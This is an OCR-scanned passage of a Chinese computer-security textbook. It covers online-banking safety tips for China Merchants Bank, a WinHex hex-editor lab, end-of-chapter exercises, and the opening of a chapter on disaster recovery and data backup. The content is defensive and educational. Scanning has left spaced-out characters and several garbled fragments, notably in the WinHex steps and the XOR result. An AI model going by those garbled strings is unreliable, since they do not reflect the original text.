网 上 个 人 银行 大 众 版 为 “卡号 十 密码 ”登录 方式 ,卡号 、 密 码 的 保管 非常 重要 ,如 果 卡 号 
和 密码 不 慎 被 他 人 取得 ,他 人 即 可 通过 网 上 银行 大 众 版 通过 转账 .网 上 支付 卡 转账 等 方式 窃 
取 客 户 账户 资金 。 因 此 ,对 于 使 用 大 众 版 进行 交易 的 客户 ,请 妥善 保管 好 你 的 卡号 和 密码 ， 
防止 账户 失窃 。 

© 网 上 个 人 银行 专业 版 。 网 上 个 人 银行 专业 版 是 招商 银行 基于 互联 网 平台 开发 的 网 
上 个 人 银行 理财 软件 ,采取 严密 的 X. 509 标准 数字 证 书 体 系 ,通过 国家 安全 认证 。 运 用 数 
字 签 名 技术 和 基于 证 书 的 强加 密 通 信 管 道 ,确保 客户 身份 认证 和 数据 传输 以 及 密码 输入 的 
安全 。 该 软件 建立 在 严格 的 客户 身份 认证 基础 上 ,对 参与 交易 的 客户 发 放 证 书 , 交 易 时 验证 
证 书 。 
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网 上 个 人 银行 专业 版 建立 在 “数字 证 书 ” 的 存储 、 使 用 基础 上 ,专业 版 为 “数字 证 书 十 密 
码 ” 的 登录 方式 ;数字 证 书 分 为 文件 数字 证 书 和 移动 数字 证 书 两 种 ,文件 数字 证 书 可 保存 在 
计算 机 ,移动 介质 中 ,并 可 进行 复制 ,安全 性 较 大 众 版 大 幅 提 升 ;移动 数字 证 书 是 一 个 带 智 能 
芯片 .形状 类 似 于 U 盘 的 硬件 设备 ,并 应 用 了 智能 芯片 信息 加 密 技 术 的 一 种 数字 签名 工具 ， 
不 可 查看 .复制 ,具有 唯一 性 ,客户 进行 登录 交易 需 同 时 持 有 移动 数字 证 书 和 客户 密码 方 可 
登录 专业 版 ,任何 人 都 无 法 利用 用 户 的 身份 信息 和 账户 信息 通过 互联 网 盗 取 用 户 的 资金 。 
“移动 数字 证 书 ” 是 最 安全 的 交易 方式 。 

(2) 网 上 支付 功能 

网 上 支付 功能 是 招商 银行 提供 的 网 上 支付 平台 ,满足 客户 日 常 的 网 上 消费 需要 。 招 商 
银行 网 上 支付 分 为 大 众 版 网 上 支付 和 专业 版 网 上 支付 两 种 形式 。 

大 众 版 网 上 支付 通过 “卡号 十 支付 密码 ”方式 支付 ,目前 提供 支付 卡 , 一 卡通 和 信用 卡 的 
网 上 支付 。 由 于 该 方式 仍 存 在 一 定 的 风险 ,银行 为 客户 自动 设置 了 单 笔 和 每 日 支付 限额 。 
其 中 支付 卡 和 一 卡通 每 日 最 高 支付 额度 为 5000 元 人 民 币 ,信用卡 每 日 最 高 支付 额度 为 可 用 
额度 。 客 户 可 根据 消费 习惯 通过 “一 网 通 ” 大 众 版 更 改 消费 限额 以 降低 交易 风险 。 支 付 密码 
不 要 和 一 卡通 的 取款 密码 相同 。 

专业 版 网 上 支付 通过 “数字 证 书 十 取款 密码 ”的 方式 支付 ,该 支付 方式 安全 性 高 ,银行 未 
给 客户 设置 单 笔 和 每 日 支付 限额 ,建议 客户 通过 专业 版 根据 消费 习惯 自行 设置 支付 限额 以 
降低 风险 。 同 时 ,对 于 大 额 的 网 上 消费 ,建议 客户 使 用 专业 版 进行 支付 。 

(3) 登录 正确 的 网 址 

招商 银行 网 上 银行 品牌 为 “一 网 通 ”。 

招商 银行 全 国 网 上 银行 网 址 为 http://www. cmbchina. com。 建 议 客户 将 该 网 址 添加 
至 收藏 夹 , 并 直接 通过 访问 ,不 建议 客户 通过 其 他 网 站 链接 进行 访问 ,防止 不 法 分 子 将 网 址 
链接 到 其 他 非法 网 站 窃取 资料 。 

在 进行 网 上 支付 交易 时 ,在 输入 卡号 密码 的 页 面 上 ,用 户 应 确认 浏览 器 地 址 栏 里 的 地 
址 ,前 面部 分 必须 是 http://www. cmbchina. com。 

此 外 ,如 果 访 问 * .cmbchina. com 类 网 址 ,如 果 *#* 为 wma、mobile、info, 则 该 类 网 址 为 
招商 银行 系列 合法 网 址 。 

(4) 认 清 网 页 特征 

招商 银行 网 上 银行 网 页 下 方 有 【网 安 ] 图 标 ,如 图 7-25 所 示 ,如 单 击 该 图 标 ,图 标 中 的 备 
案 编号 为 4403101210120, 如 图 7-26 所 示 。 
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图 7-25 【网 安 ] 图 标 
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图 7-26 招商 银行 备案 编号 4403101210120 


(5) 保管 好 账号 和 密码 

银行 账号 和 密码 是 保障 客户 银行 资金 安全 的 最 重要 因素 ,对 账号 和 密码 的 保管 非常 重 
要 。 一 旦 客户 的 账号 和 密码 被 他 人 盗 取 ,客户 的 银行 资金 就 有 可 能 被 次 用 。 为 了 保障 客户 
的 银行 资金 安全 ,务必 要 重视 账号 ,密码 的 保管 工作 ,尽量 做 到 以 下 原则 。 

CD 在 任何 情况 下 ,坚持 账号 和 密码 自己 保管 .不 透露 给 任何 人 的 原则 。 不 要 相信 任何 
通过 电子 邮件 ,短信 、 电 话 等 方式 索要 账号 和 密码 的 行为 。 若 有 任何 怀疑 ,应 立即 致电 
95555 与 招商 银行 联系 。 对 于 已 经 向 不 明 人 员 或 网 站 提供 网 上 银行 密码 的 ,要 立即 登录 网 
上 银行 修改 密码 ,或 到 柜 面 进行 密码 重 置 ,或 通过 电话 及 登录 网 上 银行 申请 挂失 。 

@ 尽量 做 到 密码 不 容易 被 不 法 分 子 破解 。 不 采用 生日 数字 、 电 话 号 码 、 身 份 证 号 码 中 
的 连续 几 位 ,银行 卡号 中 的 几 位 .同一 数字 ,简单 数字 规则 构成 的 密码 。 避 免 密码 被 不 法 分 
子 破解 , 盗 取 账 户 资金 。 

@ 使 用 单独 的 银行 密码 。 将 平时 在 其 他 网 站 使 用 的 各 类 密码 与 银行 密码 区 分 开 , 不 采 
用 同一 密码 ,避免 因 在 其 他 网 站 泄露 密码 导致 银行 密码 同时 失窃 。 

使 用 不 同 的 银行 查询 密码 .取款 密码 和 网 上 支付 密码 。 不 同 的 多 重 密码 能 更 有 效 地 保 
障 客户 账户 资金 的 安全 。 

不 要 在 招商 银行 网 上 银行 系统 以 外 的 其 他 地 方 输入 卡号 和 密码 ,不 定期 地 修改 自己 的 
密码 。 

(6) 保证 计算 机 安全 

计算 机 及 软件 有 可 能 受到 病毒 及 计算 机 黑客 的 威胁 ,请 留意 以 下 几 点 。 

CD 设置 由 数字 .字母 (大 .小写 ) 构 成 的 不 易 被 破译 的 开机 密码 。 

@ 定期 下 载 安 装 最 新 的 操作 系统 和 浏览 器 安全 程序 或 补丁 。 

@ 建议 将 计算 机 中 的 hosts 文件 修改 为 只 读 。 

@ 安装 个 人 防火 墙 。 可 以 防止 黑客 和 人 侵 计 算 机 。 
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C) 安装 并 及 时 更 新 杀毒 软件 。 养 成 定期 更 新 杀毒 软件 的 习惯 ,防止 新 型 病毒 人 侵 。 

© 使 用 网 上 银行 的 计算 机 不 作为 资料 ,文件 共享 等 类 型 的 服务 器 。 

D 不 要 开启 来 历 不 明 的 电子 邮件 。 

(7) 增强 安全 意识 

随 着 科技 的 发 展 ,金融 网 络 犯罪 手法 越 来 越 多 ,但 所 有 的 金融 网 络 犯罪 根源 为 盗 取 客户 
的 账号 和 密码 。 尽 管 银行 在 安全 方面 采取 了 各 种 措施 ,保障 了 银行 交易 系统 的 安全 ,但 客户 
的 账号 和 密码 的 保管 也 有 赖 于 客户 自己 的 安全 风险 意识 和 行为 。 

CD 不 要 在 公共 场所 使 用 网 上 银行 ,防止 他 人 偷 看 密码 。 

© 不 要 在 网 吧 、 图 书馆 等 公用 网 络 上 使 用 网 上 银行 ,防止 他 人 安装 监测 程序 或 木马 程 
序 窃取 账号 和 密码 。 

© 每 次 使 用 网 上 银行 后 ,及 时 退出 。 

@ 在 其 他 渠道 (如 ATM 取款 、 自 助 终端 登录 ) 进 行 交易 时 ,注意 密码 输入 的 保护 措施 ， 
防止 他 人 通过 录像 等 方式 窃取 账号 和 密码 。 

© 切 勿 向 他 人 透露 用 户 名 、 密 码 或 任何 个 人 身份 识别 资料 。 

© 如 果 客 户 自己 的 个 人 资料 有 任何 更 改 (例如 ,联系 方式 、 地 址 等 有 变动 ), 及 时 通过 银 
行 系统 修改 相关 资料 。 

D 定期 查看 自己 的 交易 ,核对 对 账单 。 

@ 遇 到 任何 怀疑 或 问题 ,及 时 联系 招商 银行 全 国 统一 客服 电话 一 一 95555 。 


7.8 实例 : 使 用 WinHex 


WinHex 软件 含 十 六 进 制 编辑 器 .磁盘 编辑 器 和 RAM 编辑 器 ,可 帮助 实现 计算 机 调查 
取证 文件 及 磁盘 数据 恢复 、 磁 盘 的 底层 数据 处 理 , 以 及 密码 分 析 、 软 件 注册 等 信息 安全 工 
作 。 它 能 检查 并 且 编 辑 各 种 文件 ,从 磁盘 驱动 器 中 恢复 已 删 文件 或 丢失 的 数据 ,支持 
USBDisk 和 数码 相机 的 存储 卡 。 

WinHex 图 7-27 的 主要 功能 如 下 。 


File Tools 
XQ Open Bil... 


Compute Mash... 
Kash Database 


图 7-27 WinHex 主 界面 


(1) 磁盘 编辑 器 ,可 分 析 硬 盘 CE CD-ROM, DVD, USBDisk 存储 卡 等 。 
(2) 支持 FAT、NTFS、Ext213、ReiserFS、Reiser4、.LTFS.CDFS、UDF 等 文件 系统 。 
(3) 支持 RAID 系统 和 动态 磁盘 组 。 


ey 
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(4) 多 种 数据 恢复 技术 。 

(5) RAM 编辑 器 ,提供 编辑 物理 RAM 和 其 他 进程 的 虚拟 内 存 的 方法 。 

(6) 灵活 的 查找 并 替换 功能 ,可 实现 文本 .十 六 进 制 数据 等 形式 的 查找 。 

(7) 磁盘 克隆 ( 需 在 DOS 方式 下 实现 ) 

(8) 安全 性 由 256 位 的 AES 加 密 、 检 验 .CRC32、 哈 希 算法 (MDS 和 SHA-1) 等 方法 提 
供 支持 。 

(9) 安全 擦 除 个 人 秘密 文件 功能 ,可 实现 全 盘 数 据 清 理 。 

与 WinHex 相关 的 还 有 该 公司 的 产品 X-Ways Forensics, 该 软件 包含 WinHex 的 所 有 
功能 , 且 具 有 更 强大 的 数据 分 析 、 取 证 能 力 , 感 兴趣 的 读者 可 自己 练习 。 

在 http://www. x-ways. net/winhex. zip 下 载 WinHex。 

本 实验 在 虚拟 机 (VMware、Windows 2003 SP2) 中 安装 使 用 WinHex 15. 6。 

实验 过 程 如 下 。 

58 135. 在 C 盘 根 目录 中 建立 X-ways 文件 夹 ,在 X-ways 文件 夹 中 建立 一 个 文本 文 
件 , 文 件 名 为 winhex. txt, 内 容 为 “使 用 WinHex 练习 ”。 

第 2 步 : 解压 软件 包 WinHex 15. 6. zip, 运 行 WinHex. exe 文件 ,如 图 7-28 Bios ,一定 
要 选中 Computer forensics interface 复 选 框 ,否则 部 分 功能 不 能 使 用 。 单 击 OK 按钮 ,进入 
WinHex 主 界面 ,如 图 7-27 所 示 。 

这 里 除 WinHex 软件 的 所 有 功能 以 外 ,还 包含 Case Data 区 域 ,用 来 进行 磁盘 数据 分 析 
和 文件 恢复 。 

本 实验 中 主要 使 用 WinHex 的 基本 工具 (Tools) .选项 设置 (Options) 查找 功能 
(Search) 和 数据 分 析 功 能 (Case Data) 。 

第 3 步 : 在 图 7-27 中 ,依次 选择 Options|Edit Mode 命令 ,出 现 Select Mode( globally) 
对 话 框 ,如 图 7-29 所 示 ,选择 Default Edit Mode (— editable) 33i , 单 击 OK 按钮 。 


图 7-28 选中 Computer forensics interface 复 选 框 图 7-29 Select Mode(globally) 对 话 框 


第 4 步 : 在 图 7-27 中 ,依次 选择 File| Open 命令 ,打开 文件 winhex. txt, 如 图 7-30 所 
示 , 修 改 第 3 一 8 六 个 字 节 , 单 击 Save 按钮 ,出 现 如 图 7-31 所 示 对 话 框 , 单 击 Yes 按钮 确认 
保存 。 用 记事 本 打开 winhex. txt 文件 .内容 为 “使 用 WinHex 练习 ”。 

第 5 步 : 加 密 文 件 winhex. txt。 在 图 7-27, 依 次 选择 Edit | Modify Data 命令 ,出 现 
Modify Data 对 话 框 ,如 图 7-32 所 示 ,选择 XOR 单 选 按钮 ,输入 22, 单 击 OK 按钮 ,对 文件 
内 容 加 密 变 换 。 加 密 前 文件 内 容 是 “使 用 WinHex £& 2J " . Jun 8 Ji SC PE VJ EJ " BR IER 2S fl 
KLJGZ fi UE". fub HEIT SEE R93 FE BI nT . 

WinHex 的 其 他 功能 请 读者 自己 体会 。 
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图 7-30 WinHex 主 界面 
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本 童 介绍 了 Web 应 用 安全 、XSS 跨 站 攻击 技术 、 防 垃圾 邮件 技术 、 网 络 防 钓鱼 技术 、QQ 
的 安全 使 用 、 网 上 银行 账户 安全 常识 以 及 WinHex 的 一 般 使 用 。 通 过 对 本 章 地 学 习 , 读 者 
对 网 络 应 用 中 存在 的 一 些 威胁 有 一 个 清楚 的 认识 ,进而 提高 读者 安全 使 用 网 络 的 水 平和 
技能 。 


习 题 


1. 填空 题 

(1) Web 是 的 简称 , 即 万 维 网 。Web 服务 是 指 采用 架构 ,通过 
HTTP 协议 提供 服务 的 统称 ,这 种 结构 也 称 为 架构 。 

(2) 是 一 种 用 来 制作 网 页 的 标记 语言 , 它 不 需要 编译 ,可 以 直接 由 浏览 器 执 
行 ,属于 浏览 器 解释 型 语言 。 

(3) JavaScript 是 一 种 的 描述 语言 ,可 以 用 来 开发 Internet 客户 端的 应 用 
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程序 。 

(4) 实时 监控 Web 站 点 , 当 Web 站 点 上 的 文件 受到 破坏 时 ,能 迅速 恢复 被 破 
坏 的 文件 ,并 及 时 提交 报告 给 系统 管理 员 ,从 而 保护 Web 站 点 的 数据 安全 。 

(5) 是 可 以 管理 Web 修改 主页 内 容 等 的 权限 ,如 果 要 修改 别人 的 主页 ,一 般 
都 需要 这 个 权限 ,上 传 漏洞 要 得 到 的 也 是 这 个 权限 。 

(6) 借助 于 互联 网 数字 通信 技术 向 客户 提供 金融 信息 发 布 和 金融 交易 服务 ， 
是 传统 银行 业务 在 互联 网 上 的 延伸 ,是 一 种 虚拟 银行 。 

(7) 开展 网 上 银行 有 两 大 保障 : 和 


2. 思考 与 简 答题 


(1) 简 述 垃圾 邮件 的 危害 性 以 及 如 何 避 免 垃 圾 邮件 。 
(2) 什么 是 网 络 钓鱼 ? 


3. 上 机 题 


CD IE 浏览 器 防范 网 络 钓鱼 的 设置 。 
(2) QQ 的 安全 设置 。 
(3) WinHex 的 使 用 。 


il. 
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第 8 章 ” 容 灾 与 数据 备份 技术 
本 章 学 习 目 标 : 
。 了 解 容 灾 技术 的 基本 概念 


。 了解 RAID 级 别 及 其 特点 

。 了 解 并 会 使 用 一 些 常用 数据 恢复 工具 
。 了 解数 据 备份 技术 的 基本 概念 

* 掌握 Ghost 的 使 用 


容 灾 与 数据 备份 技术 在 信息 安全 领域 有 着 举足轻重 的 地 位 ,本 章 对 容 灾 技 术 和 数据 备 
份 技术 的 基本 概念 进行 介绍 。 


8.1 容 灾 技术 


忽视 数据 备份 ,没有 容 灾 能 力 将 会 给 企业 或 组 织带 来 巨大 的 损失 , 据 统 计 资 料 显示 , 当 
受到 数据 灾难 袭击 的 时 候 ,30% 受 影响 的 公司 被 迫 立即 退出 市 场 ,另外 有 29% 受 影响 的 公 
司 会 在 两 年 内 倒闭 。 所 以 , 当 各 种 无 法 预知 的 事故 或 灾难 导致 重要 的 数据 丢失 时 ,能 够 及 时 
采取 灾难 恢复 措施 ,可 以 将 企业 或 组 织 的 损失 降低 到 最 低 。 


8.1.1 容 灾 技 术 概 述 


据 统计 资料 显示 ,2000 年 以 前 的 10 年 间 发 生 过 灾难 的 公司 中 ,有 55% 当 时 倒闭 , 剩 下 
的 45% 中 ,因为 数据 丢失 ,有 29% 也 在 两 年 之 内 倒闭 ,生存 下 来 的 仅 占 16%。 在 1993 年 发 
生 的 美国 世贸 中 心 大 楼 爆炸 事件 前 , 约 有 350 家 企业 在 该 楼 中 工作 ,一 年 后 ,再 回 到 世贸 大 
楼 的 公司 变 成 了 150 家 ,有 200 家 企业 由 于 无 法 存 取 原 有 重要 的 信息 而 倒闭 。2003 年 , 国 
内 某 电信 运营 商 的 计 费 存储 系统 发 生 两 个 小 时 的 故障 ,造成 400 多 万 元 的 损失 ,这些 还 不 包 
括 导致 的 无 形 资产 损失 。 另 外 ,大 家 熟悉 的 “9。11? 事 件 带 来 的 损失 更 是 巨大 ,还 有 许多 举 
不 胜 举 且 触 目 惊 心 的 例子 ,每 一 次 都 是 惨痛 的 教训 。 巾 此 可 见 , 尽 管 小 心 谨慎 ,还 是 不 可 避 
免 地 会 发 生 各 种 各 样 的 灾难 。 


计算 机 安全 技术 


1. 容 灾 的 定义 


容 灾 是 一 个 范畴 很 广泛 的 概念 ,是 一 个 系统 工程 ,包括 支持 用 户 业 务 的 方方面面 ,可 以 
将 所 有 与 业务 连续 性 相关 的 内 容 都 纳入 到 容 灾 中 。 对 于 IT 而 言 , 容 灾 提供 一 个 能 防止 用 
户 业 务 系统 遭受 各 种 灾难 破坏 的 计算 机 系统 。 容 灾 主 要 表现 为 一 种 未 雨 绸 缪 的 主动 性 ,而 
不 是 在 灾难 发 生 后 的 亡羊补牢 。 

容 灾 是 指 在 发 生 灾难 性 事故 时 ,能 够 利用 已 备份 的 数据 或 其 他 手段 ,及 时 对 原 系统 进行 
恢复 ,以 保证 数据 的 安全 性 以 及 业务 的 连续 性 。 

从 技术 上 看 ,衡量 容 灾 系统 有 两 个 主要 指标 : RPO 和 RTO., 

RPO(Recovery Point Object); 即 数据 恢复 点 目标 ,主要 是 指 当 灾难 发 生 时 业务 系统 所 
能 容忍 的 数据 丢失 量 。 

RTO(Recovery Time Object); 即 数据 恢复 时 间 目 标 ,主要 是 指 所 能 容忍 的 业务 停止 服 
务 的 最 长 时 间 , 即 从 灾难 发 生 到 业务 系统 恢复 服务 功能 所 需要 的 最 短 时 间 周 期 。 

RPO 针对 的 是 数据 丢失 ,而 RTO 针对 的 是 服务 丢失 ,二 者 没有 必然 的 关联 性 。RTO 
和 RPO 的 确定 必须 在 进行 风险 分 析 和 业务 影响 分 析 后 ,根据 不 同 的 业务 需求 确定 。 对 于 不 
同 企业 的 同一 种 业务 ,RTO 和 RPO 的 需求 也 会 有 所 不 同 。RPO RTO 越 小 ,系统 的 可 用 
性 就 越 高 ,当然 需要 的 投资 也 越 大 。 


2. 导致 系统 灾难 的 原因 


从 广义 上 讲 , 对 于 一 个 计算 机 系统 而 言 , 一 切 引 起 系统 非 正常 停机 的 事件 都 称 为 灾难 。 
威胁 数据 的 安全 ,造成 系统 失效 的 主要 原因 有 以 下 几 个 方面 。 

(1) 硬件 故障 

主要 的 硬件 故障 包括 I/O 和 硬盘 损坏 .电源 (包括 电缆 插座 ) 以 及 网 络 故障 等 ,如 果 是 
安装 系统 的 磁盘 故障 , 则 还 必须 重建 系统 。 

(2) 人 为 错误 

这 是 最 容易 忽略 的 故障 原因 ,包括 误 操作 、 人 为 蓄意 破坏 ,如 对 一 些 关键 系统 配置 文件 
的 不 当 操作 ,或 者 人 为 删除 一 个 文件 或 格式 化 一 个 磁盘 ,会 导致 系统 不 能 正常 启动 。 另 外 还 
有 黑客 的 攻击 ,黑客 侵入 计算 机 系统 ,并且 破 坏 计 算 机 系统 。 

(3) 软件 故障 

这 是 最 复杂 和 多 样 化 的 故障 原因 ,如 系统 参数 设置 不 当 或 者 由 于 应 用 程序 没有 优化 ,造成 运 
行 时 系统 资源 不 合理 分 配 或 数据 库 参 数 设置 不 当 等 ,都 有 可 能 导致 系统 性 能 下 降 ,甚至 停机 。 

(4) 病毒 影响 

病毒 使 计算 机 系统 感染 ,损坏 计算 机 数据 ,需要 及 早 预防 病毒 的 攻击 。 

(5) 自然 灾难 

这 包括 地 震 、 台 风水 灾 、 雷 电 、 火 灾 等 会 无 情 地 毁灭 计算 机 系统 的 灾难 ,这 种 灾难 破坏 
性 很 大 ,影响 面 比 较 广 。 

灾难 发 生 后 ,恢复 的 一 般 步 骤 如 下 。 

(D 恢复 硬件 。 

@ 重新 装 人 操作 系统 。 


[= 
h Z 


E> A 
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O 设置 操作 系统 (驱动 程序 设置 、 系 统 、 用 户 设置 )。 
CD 重新 装 人 应 用 程序 ,进行 系统 设置 。 
C) 用 最 新 的 备份 恢复 系统 数据 。 


3. 容 灾 的 级 别 


容 灾 可 以 分 为 3 个 级 别 : 数据 级 容 灾 应 用 级 容 灾 和 业务 级 容 灾 。 

(1) 数据 级 容 灾 

数据 级 容 灾 关 注 点 在 于 数据 ,需要 确保 用 户 数据 的 完整 性 、. 可 靠 性 、 安 全 性 和 一 致 性 , 即 
灾难 发 生 后 可 以 确保 用 户 原 有 的 数据 不 会 丢失 或 者 遭 到 破坏 。 数 据 级 容 灾 较为 基础 ,其 中 ， 
较 低 级 别 的 数据 容 灾 方 案 仅 需 利 用 磁带 库 和 管理 软件 就 能 实现 数据 异地 备份 ,达到 容 灾 的 
功效 。 而 较 高 级 的 数据 容 灾 方案 则 是 依靠 数据 复制 工具 ,例如 卷 复 制 软件 或 者 存储 系统 的 
硬件 控制 器 ,实现 数据 的 远程 复制 。 

数据 级 容 灾 是 保障 数据 可 用 的 最 后 底线 , 当 数 据 丢 失 时 能 够 保证 应 用 系统 可 以 重新 得 
到 所 有 数据 。 从 这 种 意义 上 讲 , 数 据 备份 属于 该 级 别 容 灾 ,用 户 把 重要 的 数据 存放 在 磁带 
上 ,如 果 考 虑 到 高 级 别 的 安全 性 ,还 可 以 把 磁带 运送 到 远 距 离 的 地 方 保存 , 当 灾 难 发 生 后 ,从 
磁带 中 获取 数据 。 该 级 别 灾难 恢复 时 间 较 长 ,仍然 存在 风险 ,尽管 用 户 原 有 数据 没有 丢失 ， 
但 是 对 于 提供 实时 服务 的 信息 系统 ,应 用 会 被 中 断 ,用户 业 务 也 被 迫 停止 。 

(2) 应 用 级 容 灾 

应 用 级 容 灾 在 数据 级 容 灾 的 基础 上 ,把 执行 应 用 处 理 能 力 复制 一 份 , 即 在 备份 站 点 同样 
构建 一 套 应 用 系统 ,在 保证 用 户 数据 的 完整 性 .可靠 性 .安全 性 和 一 致 性 的 前 提 下 ,提供 不 间 
断 的 应 用 服务 ,让 客户 的 应 用 服务 请 求 能 够 透明 地 继续 运行 ,而 感受 不 到 灾难 的 发 生 , 保 证 
整个 信息 系统 提供 的 服务 完整 .可靠 ,安全 和 一 致 。 一 般 来 说 ,应 用 级 容 灾 系统 需要 通过 更 
多 软件 来 实现 , 它 可 以 使 企业 的 多 种 应 用 在 灾难 发 生 时 进行 快速 切换 ,确保 业务 的 连续 性 。 
应 用 级 容 灾 比 数据 级 容 灾 要 求 更 高 。 

(3) 业务 级 容 灾 

数据 级 容 灾 和 应 用 级 容 灾 都 是 在 IT 范畴 之 内 ,然而 对 于 正常 业务 而 言 , 仅 IT 系统 的 
保障 还 是 不 够 的 。 有 些 用户 需 要 构建 最 高 级 别 的 业务 级 容 灾 。 

业务 级 容 灾 的 大 部 分 内 容 是 非 IT 系统 ,比如 电话 、 办 公 地 点 等 。 当 一 场 大 的 灾难 发 生 
时 ,用 户 原 有 的 办 公 场 所 都 会 受到 破坏 ,用 户 除 了 需要 原 有 的 数据 \ 原 有 的 应 用 系统 ,更 需要 
工作 人 员 在 一 个 备份 的 工作 场所 能 够 正常 地 开展 业务 。 


4. 容 灾 系统 


由 于 容 灾 所 承担 的 是 用 户 最 关键 的 核心 业务 ,其 发 挥 的 作用 异常 重要 , 容 灾 本 身 的 复杂 
性 也 是 十 分 明显 ,这些 决 定 了 容 灾 是 一 项 系统 工程 。 

容 灾 首先 涉及 众多 技术 及 众多 厂商 的 各 类 解决 方案 。 性 能 、 灵 活性 及 价格 都 是 必须 考 
虑 的 因素 ,更 重要 的 是 ,用 户 需 要 根据 自己 的 实际 需求 量 身 打造 。 许 多 用 户 的 生产 站 点 都 是 
经 过 长 期 积累 、 多 次 改造 后 形成 的 ,对 于 特殊 的 应 用 还 采用 特定 的 设备 。 那 么 当 用 户 考虑 构 
建 容 灾 站 点 时 就 必须 把 所 有 的 情况 都 考虑 进来 ,构建 容 灾 方 案 的 一 条 基本 准则 是 “选择 适合 
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自己 的 ”。 与 此 同时 用 户 还 要 考虑 长 远 一 些 ,尽量 采用 先进 而 不 是 将 要 淘汰 的 技术 ,毕竟 元 
余 站 点 与 生产 站 点 一 样 会 长 期 使 用 。 

一 个 完整 的 容 灾 系统 应 该 包含 3 个 部 分 : 本 地 容 灾 、 异 地 容 灾 和 有 效 的 管理 机 制 。 

(1) 本 地 容 灾 

本 地 容 灾 的 主要 手段 是 容错 ,容错 的 基本 思想 是 在 系统 体系 结构 上 精心 设计 ,利用 外 加 
资源 的 元 余 技 术 来 达到 屏蔽 故障 、 自 动 恢复 系统 或 安全 停机 的 目的 。 

(2) 异地 容 灾 

当 遇 到 自然 灾害 (火山 、 地 震 ) 或 者 战争 等 意外 事件 时 , 仅 采用 本 地 容 灾 并 不 能 满足 要 
求 , 这 就 应 该 考虑 采用 异地 容 灾 的 保护 措施 。 异 地 容 灾 是 指 在 相隔 较 远 的 异地 ,建立 两 套 或 
多 套 功 能 相同 的 IT 系统 ,当主 系统 因 意外 停止 工作 时 ,备用 系统 可 以 接替 工作 ,保证 系统 
的 不 间断 运行 。 异 地 容 灾 系 统 采用 的 主要 方法 是 数据 复制 ,目的 是 在 本 地 与 异地 之 间 确 保 
各 系统 关键 数据 和 状态 参数 的 一 致 

(3) 有 效 的 管理 机 制 

对 于 容 灾 系 统 来 说 ,所 包含 的 关键 技术 有 数据 存储 管理 .数据 复制 .灾难 检测 .系统 迁移 
和 灾难 恢复 5 个 方面 。 

第 一 ,数据 存储 管理 。 

数据 存储 管理 是 指 对 与 计算 机 系统 数据 存储 相关 的 一 系列 操作 (如 备份 .归档 ,恢复 等 ) 
进行 的 统一 管理 ,是 计算 机 系统 管理 的 一 个 重要 组 成 部 分 ,也 是 建立 一 个 容 灾 系统 的 重要 组 
成 部 分 。 

数据 备份 是 指 为 防止 系统 出 现 操作 失误 或 系统 故障 导致 数据 丢失 ,而 将 全 系统 或 
部 分 数据 集合 从 应 用 主机 的 硬盘 或 阵列 复制 到 其 他 存储 介质 的 过 程 ,数据 备份 是 容 灾 
的 基石 。 

数据 归档 是 将 硬盘 数据 复制 到 可 移动 媒体 上 。 与 数据 备份 不 同 的 是 ,数据 归档 在 完成 
复制 工作 后 将 原始 数据 从 硬盘 上 删除 ,释放 硬盘 空间 。 

数据 备份 是 数据 存储 管理 中 的 一 个 重要 部 分 。 数 据 备份 的 评价 标准 包括 备份 速度 、 恢 
复 速度 以 及 数据 恢复 点 。 

为 了 提高 备份 的 效率 ,出 现 了 很 多 新 的 备份 技术 ,在 很 大 程度 上 提高 了 备份 速度 ,主要 
的 备份 技术 在 后 面 介绍 。 

第 二 ,数据 复制 。 

容 灾 系 统 的 核心 技术 是 数据 复制 。 顾 名 思 义 ,数据 复制 就 是 将 一 个 地 点 的 数据 复制 到 
另外 一 个 不 同 的 物理 点 上 的 过 程 。 

数据 复制 一 般 分 为 同步 数据 复制 和 异步 数据 复制 。 

根据 复制 数据 的 层次 进行 细 化 ,可 以 分 为 以 下 4 种 类 型 。 

CD 硬件 级 的 数据 复制 : 主要 是 在 磁盘 级 别 对 数据 进行 复制 ,包括 磁盘 镜像 、 卷 复制 等 ， 
这 种 类 型 的 复制 方法 可 以 独立 于 应 用 ,并 且 复 制 速度 也 较 快 ,对 生产 系统 的 性 能 影响 也 较 
小 ,但 是 开销 比较 大 。 

@ 操作 系统 级 的 复制 : 主要 是 在 操作 系统 层次 对 各 种 文件 的 复制 ,这 种 类 型 的 复制 受 
到 了 具体 操作 系统 的 限制 。 

© 数据 库 级 的 复制 : 是 在 数据 库 级 别 将 对 数据 库 的 更 新 操作 以 及 其 他 事务 操作 以 
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消息 的 形式 复制 到 异地 数据 库 , 这 种 复制 方式 的 系统 开销 也 很 大 ,并 且 与 具体 数据 库 
相关 。 

@ 业务 数据 流 级 复制 : 就 是 业务 数据 流 的 复制 ,就 是 将 业务 数据 流 复制 到 异地 备用 系 
统 , 经 过 系统 处 理 后 ,产生 对 异地 系统 的 更 新 操作 ,从 而 达到 同步 。 这 种 方式 也 可 以 独立 于 
具体 应 用 ,但 是 可 控 性 较 差 。 现 在 利用 这 种 方式 来 实现 容 灾 系统 的 例子 还 很 少 。 

第 三 ,灾难 检测 。 

现在 对 灾难 的 发 现 方法 一 般 是 通过 心跳 技术 和 检查 点 技术 ,这 种 技术 在 高 可 靠 性 集群 
中 应 用 很 广泛 。 

心跳 技术 又 称 为 拉 技术 ,就 是 每 隔 一 段 时 间 都 要 向 外 广播 自身 的 状态 (通常 为 “存活 状 
态 ) ,在 进行 心跳 检测 时 ,心跳 检测 的 时 间 和 时 间 间 隔 是 关键 问题 ,如 果 心 跳 检 测 得 太 频繁 ， 
将 会 影响 系统 的 正常 运行 ,占用 系统 资源 ;如 果 间 隔 时 间 太 长 , 则 检测 就 比较 迟钝 ,影响 检测 
的 及 时 性 。 

检查 点 技术 又 称 为 主动 检测 ,就 是 每 隔 一 段 时 间 ,就 会 对 被 检测 对 象 进行 一 次 检测 ,如 
果 在 给 定 的 时 间 内 ,被 检测 对 象 没 有 响应 , 则 认为 检测 对 象 失效 。 与 心跳 技术 相同 ,检测 点 
技术 也 受到 检测 周期 的 影响 ,如 果 检 测 周 期 太 短 ,虽然 能 够 及 时 发 现 故障 ,但 是 给 系统 造成 
很 大 的 开销 ;如 果 检 测 周期 太 长 , 则 无 法 及 时 发 现 故障 。 

对 于 异地 容 灾 , 备 份 生产 中 心 和 主 生产 中 心 可 能 相隔 千里 ,这 时 候 因为 网 络 延迟 较 大 或 
者 其 他 原因 ,可 能 会 影响 心跳 检测 的 效果 ,因此 如 何 对 现 有 的 检测 技术 进行 改进 ,以 适应 广 
